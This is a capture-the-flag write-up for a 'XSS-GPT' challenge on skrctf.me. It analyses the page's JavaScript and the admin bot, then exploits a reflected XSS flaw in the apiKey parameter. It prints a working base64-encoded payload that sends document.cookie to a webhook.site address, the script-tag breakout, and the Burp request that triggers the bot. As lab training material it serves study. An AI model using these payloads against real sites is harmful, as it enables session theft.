Case Study - XSS-GPT

Challenge created by skrctf.me

<div id="user-input-container">
  <div id="user-input-icon">&#x1F4AC;</div>
  <input type="text" id="user-input" placeholder="Type your message...">
  <button onclick="reportAdmin()">Report Admin</button>
</div>

Viewing the webpage source code , looks like its not submitting through form and "Report Admin" button calls the reportAdmin() javascript function

var chatHistory = [];
// Add an event listener to the user input field for the Enter key
document.getElementById("user-input").addEventListener("keyup", function(event) {
  if (event.keyCode === 13) {
    event.preventDefault();
    sendRequest();
  }
});

Submit is triggered when we press enter and it calls sendRequest() function

function sendRequest() {
    const queryParams = new URLSearchParams(window.location.search);
    const apiKey = queryParams.get("apiKey");
    if (!apiKey) {
        alert("Please provide an API key in the URL (e.g. ?apiKey=YOUR_API_KEY)");
        return;
    }

sendRequest() function then checks for value of apiKey in the url parameter , if it works you get chatgpt's response

function reportAdmin() {
    const queryParams = new URLSearchParams(window.location.search);
    const apiKey = queryParams.get("apiKey");
    var xhttp = new XMLHttpRequest();
    // Set the HTTP method and API endpoint
    xhttp.open("POST", "reportAdmin");
    xhttp.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
    xhttp.send("key="+encodeURIComponent(apiKey));
    xhttp.onreadystatechange = function() {
        if (this.readyState === 4 && this.status === 200) {
                alert("Reported to admin!");
        }
    }
}

reportAdmin() will be triggered when the report admin button is pressed where it search for apiKey in url parameter and pass to /reportAdmin (we can assume it trigger the admin bot)

bot.js (admin)

var webPage = require('webpage');
var page = webPage.create();
var system = require('system');
var args = system.args;

phantom.addCookie({
  'name'     : 'flag',
  'value'    : 'this_is_not_the_flag',
  'domain'   : '127.0.0.1',
  'path'     : '/',
  'httponly' : false,
  'secure'   : false,
  'expires'  : (new Date()).getTime() + (1000 * 60 * 60)
});

page.open("http://127.0.0.1/?apiKey="+args[1], function(status) {
  setTimeout(function(){
    console.log("success");
    phantom.exit(0);
  }, 3000);
});

The bot will contain flag and it will open the page with user supplied apiKey

Objective (Remote Reflected XSS) :

  • steal admin cookie when admin visit

Exploitation :

xhttp.send("key="+encodeURIComponent(apiKey));
//Means We cannot have space

page.open("http://127.0.0.1/?apiKey="+args[1], function(status) {

Attempting on GET request

Before BASE64 : 
document.write('<img src="https://webhook.site/c825884a-2c6c-41e3-a413-a19c5820f215/?c='+document.cookie+'" />');

After BASE64 :
ZG9jdW1lbnQud3JpdGUoJzxpbWcgc3JjPSJodHRwczovL3dlYmhvb2suc2l0ZS9jODI1ODg0YS0yYzZjLTQxZTMtYTQxMy1hMTljNTgyMGYyMTUvP2M9Jytkb2N1bWVudC5jb29raWUrJyIgLz4nKTs=

?apiKey=</script><script>eval(atob("ZG9jdW1lbnQud3JpdGUoJzxpbWcgc3JjPSJodHRwczovL3dlYmhvb2suc2l0ZS9jODI1ODg0YS0yYzZjLTQxZTMtYTQxMy1hMTljNTgyMGYyMTUvP2M9Jytkb2N1bWVudC5jb29raWUrJyIgLz4nKTs="))</script>


http://skrctf.me:4000/?apiKey=%3Cscript%3Eeval(atob(%22YWxlcnQoZG9jdW1lbnQuY29va2llKQ==%22))%3C/script%3E

Running GET request and we get error throw back

"); // Set the callback function to handle the response xhttp.onreadystatechange = function() { if (this.readyState == 4) { if(this.status == 200){ // Parse the response JSON var response = JSON.parse(this.responseText); // Add the user input and response to the chat history chatHistory.push({ role: 'user', content: data.messages[0].content }); chatHistory.push({ role: 'assistant', content: response.choices[0].message.content }); // Update the chat history and clear the user input field updateChatHistory(); clearUserInput(); }else{ alert("Request error! Please check your API key!"); } } }; // Set the request data var data = { "model": "gpt-3.5-turbo", "messages": [{"role": "user", "content": document.getElementById("user-input").value}], "temperature": 0.7 }; // Send the request with the data xhttp.send(JSON.stringify(data)); } function updateChatHistory() { var chatHistoryHTML = ''; for (var i = 0; i < chatHistory.length; i++) { var message = chatHistory[i]; var messageHTML = '

'; messageHTML += '

'; messageHTML += message.content; messageHTML += '

'; chatHistoryHTML += messageHTML; } document.getElementById("chat-history").innerHTML = chatHistoryHTML; } function clearUserInput() { document.getElementById("user-input").value = ''; } function reportAdmin() { const queryParams = new URLSearchParams(window.location.search); const apiKey = queryParams.get("apiKey"); var xhttp = new XMLHttpRequest(); // Set the HTTP method and API endpoint xhttp.open("POST", "reportAdmin"); xhttp.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); xhttp.send("key="+encodeURIComponent(apiKey)); xhttp.onreadystatechange = function() { if (this.readyState === 4 && this.status === 200) { alert("Reported to admin!"); } } }

Error indicate that we might need to escape "); and close the script tag

Successfully loaded an image with xss

?apiKey=");</script><script>eval(atob("ZG9jdW1lbnQud3JpdGUoJzxpbWcgc3JjPSJodHRwczovL3dlYmhvb2suc2l0ZS9jODI1ODg0YS0yYzZjLTQxZTMtYTQxMy1hMTljNTgyMGYyMTUvP2M9Jytkb2N1bWVudC5jb29raWUrJyIgLz4nKTs="))</script>

After adding escape , xss was successfully executed

Now we report to admin (to summon bot)

Burp post request

POST /reportAdmin HTTP/1.1

Host: skrctf.me:4000

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0

Accept: */*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-type: application/x-www-form-urlencoded

Content-Length: 207

Origin: http://skrctf.me:4000

Connection: close

Referer: http://skrctf.me:4000/?apiKey=test



key=?apiKey=");</script><script>eval(atob("ZG9jdW1lbnQud3JpdGUoJzxpbWcgc3JjPSJodHRwczovL3dlYmhvb2suc2l0ZS9jODI1ODg0YS0yYzZjLTQxZTMtYTQxMy1hMTljNTgyMGYyMTUvP2M9Jytkb2N1bWVudC5jb29raWUrJyIgLz4nKTs="))</script>

Checking webhook and we see flag=SKR{R3flec73D_1n_API_k3y_ebb2fb}

Last updated

Was this helpful?